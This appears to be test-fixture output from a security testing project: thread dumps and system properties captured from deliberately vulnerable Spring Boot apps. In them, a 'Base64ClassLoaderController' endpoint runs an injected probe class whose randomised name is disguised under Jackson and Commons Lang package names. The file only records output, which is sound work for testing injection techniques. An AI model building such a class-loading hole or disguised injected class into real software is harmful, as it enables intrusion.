at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-4" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-8" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-1" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"AppServer-utility-1" #19 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-5" #25 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
at com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler.toString(BasicInfoPrinter.java:26)
at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20)
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:255)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:188)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:926)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:831)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:586)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:654)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:224)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193)
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:539)
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133)
at com.bes.enterprise.webtier.valves.StuckThreadDetectionValve.invoke(StuckThreadDetectionValve.java:185)
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388)
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:475)
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:972)
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1942)
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:51)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1194)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"http-nio-0.0.0.0-8080-Acceptor" #31 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.accept(Native Method)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:617)
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:96)
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"SelectorReaderThread-8080-1" #30 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:859)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"DestroyJavaVM" #32 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Reference Handler" #2 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
"httpWorkerThread-8080-2" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"container-0" #29 [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Thread.sleep(Native Method)
at com.bes.enterprise.webtier.core.ApplicationServer.await(ApplicationServer.java:562)
at com.bes.enterprise.springboot.embedded.BesWebServer$1.run(BesWebServer.java:235)
===========================================
StackClassNames:
com.bes.enterprise.springboot.embedded.BesWebServer$1
com.bes.enterprise.web.crane.AbstractProcessorLight
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
com.bes.enterprise.web.crane.http11.Http11Processor
com.bes.enterprise.web.util.net.Acceptor
com.bes.enterprise.web.util.net.NioEndpoint
com.bes.enterprise.web.util.net.NioEndpoint$Poller
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
com.bes.enterprise.web.util.net.SocketProcessorBase
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
com.bes.enterprise.web.util.threads.WorkQueue
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
com.bes.enterprise.web.websocket.server.WsFilter
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
com.bes.enterprise.webtier.connector.CoyoteAdapter
com.bes.enterprise.webtier.core.ApplicationFilterChain
com.bes.enterprise.webtier.core.ApplicationServer
com.bes.enterprise.webtier.core.DefaultContextValve
com.bes.enterprise.webtier.core.DefaultEngineValve
com.bes.enterprise.webtier.core.DefaultHostValve
com.bes.enterprise.webtier.core.DefaultWrapperValve
com.bes.enterprise.webtier.valves.ErrorReportValve
com.bes.enterprise.webtier.valves.StuckThreadDetectionValve
com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler
com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController
jakarta.servlet.http.HttpServlet
org.springframework.web.filter.CharacterEncodingFilter
org.springframework.web.filter.FormContentFilter
org.springframework.web.filter.OncePerRequestFilter
org.springframework.web.filter.RequestContextFilter
org.springframework.web.method.support.InvocableHandlerMethod
org.springframework.web.servlet.DispatcherServlet
org.springframework.web.servlet.FrameworkServlet
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
@@ -0,0 +1,433 @@
# Generated At 2026-08-21 10:13:30
SystemProps:
java.specification.version: 21
sun.jnu.encoding: UTF-8
java.class.path: /app/app.jar
java.vm.vendor: Eclipse Adoptium
sun.arch.data.model: 64
java.vendor.url: https://adoptium.net/
catalina.useNaming: false
user.timezone: Etc/UTC
java.vm.specification.version: 21
os.name: Linux
APPLICATION_NAME: vul-springboot4
sun.java.launcher: SUN_STANDARD
user.country: US
sun.boot.library.path: /opt/java/openjdk/lib
sun.java.command: /app/app.jar
jdk.debug: release
sun.cpu.endian: little
user.home: /root
user.language: en
java.specification.vendor: Oracle Corporation
java.version.date: 2026-04-21
java.home: /opt/java/openjdk
file.separator: /
java.vm.compressedOopsMode: Zero based
line.separator:
java.vm.specification.vendor: Oracle Corporation
java.specification.name: Java Platform API Specification
FILE_LOG_CHARSET: UTF-8
java.awt.headless: true
java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
java.runtime.version: 21.0.11+10-LTS
user.name: root
stdout.encoding: UTF-8
path.separator: :
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
java.runtime.name: OpenJDK Runtime Environment
file.encoding: UTF-8
java.vm.name: OpenJDK 64-Bit Server VM
java.vendor.version: Temurin-21.0.11+10
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
java.io.tmpdir: /tmp
catalina.home: /tmp/tomcat.8080.9283356756873350272
java.version: 21.0.11
user.dir: /
os.arch: aarch64
java.vm.specification.name: Java Virtual Machine Specification
PID: 1
CONSOLE_LOG_CHARSET: UTF-8
catalina.base: /tmp/tomcat.8080.9283356756873350272
native.encoding: UTF-8
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
java.vm.info: mixed mode, sharing
stderr.encoding: UTF-8
java.vendor: Eclipse Adoptium
java.vm.version: 21.0.11+10-LTS
sun.io.unicode.encoding: UnicodeLittle
java.class.version: 65.0
LOGGED_APPLICATION_NAME: [vul-springboot4]
===========================================
ThreadStacks:
"http-nio-8080-exec-5" #41 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:2522)
at org.apache.commons.lang.jlEOs.ErrorPscoiHandler.toString(BasicInfoPrinter.java:26)
at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22)
at [email protected]/java.lang.invoke.LambdaForm$DMH/0x0000009801144400.invokeVirtual(LambdaForm$DMH)
at [email protected]/java.lang.invoke.LambdaForm$MH/0x00000098012ed800.invoke(LambdaForm$MH)
at [email protected]/java.lang.invoke.Invokers$Holder.invokeExact_MT(Invokers$Holder)
at [email protected]/jdk.internal.reflect.DirectMethodHandleAccessor.invokeImpl(DirectMethodHandleAccessor.java:154)
at [email protected]/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)
at [email protected]/java.lang.reflect.Method.invoke(Method.java:580)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874)
at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"Cleaner-0" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6b681d9f
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886)
at [email protected]/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71)
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186)
"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@3e133080
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait0(Native Method)
at [email protected]/java.lang.Object.wait(Object.java:366)
at [email protected]/java.lang.Object.wait(Object.java:339)
at [email protected]/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48)
at [email protected]/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158)
at [email protected]/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89)
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173)
"http-nio-8080-exec-1" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"DestroyJavaVM" #49 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"http-nio-8080-exec-4" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-exec-10" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132)
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74)
at [email protected]/java.lang.Thread.runWith(Thread.java:1596)
at [email protected]/java.lang.Thread.run(Thread.java:1583)
"http-nio-8080-exec-2" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41643b31
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371)
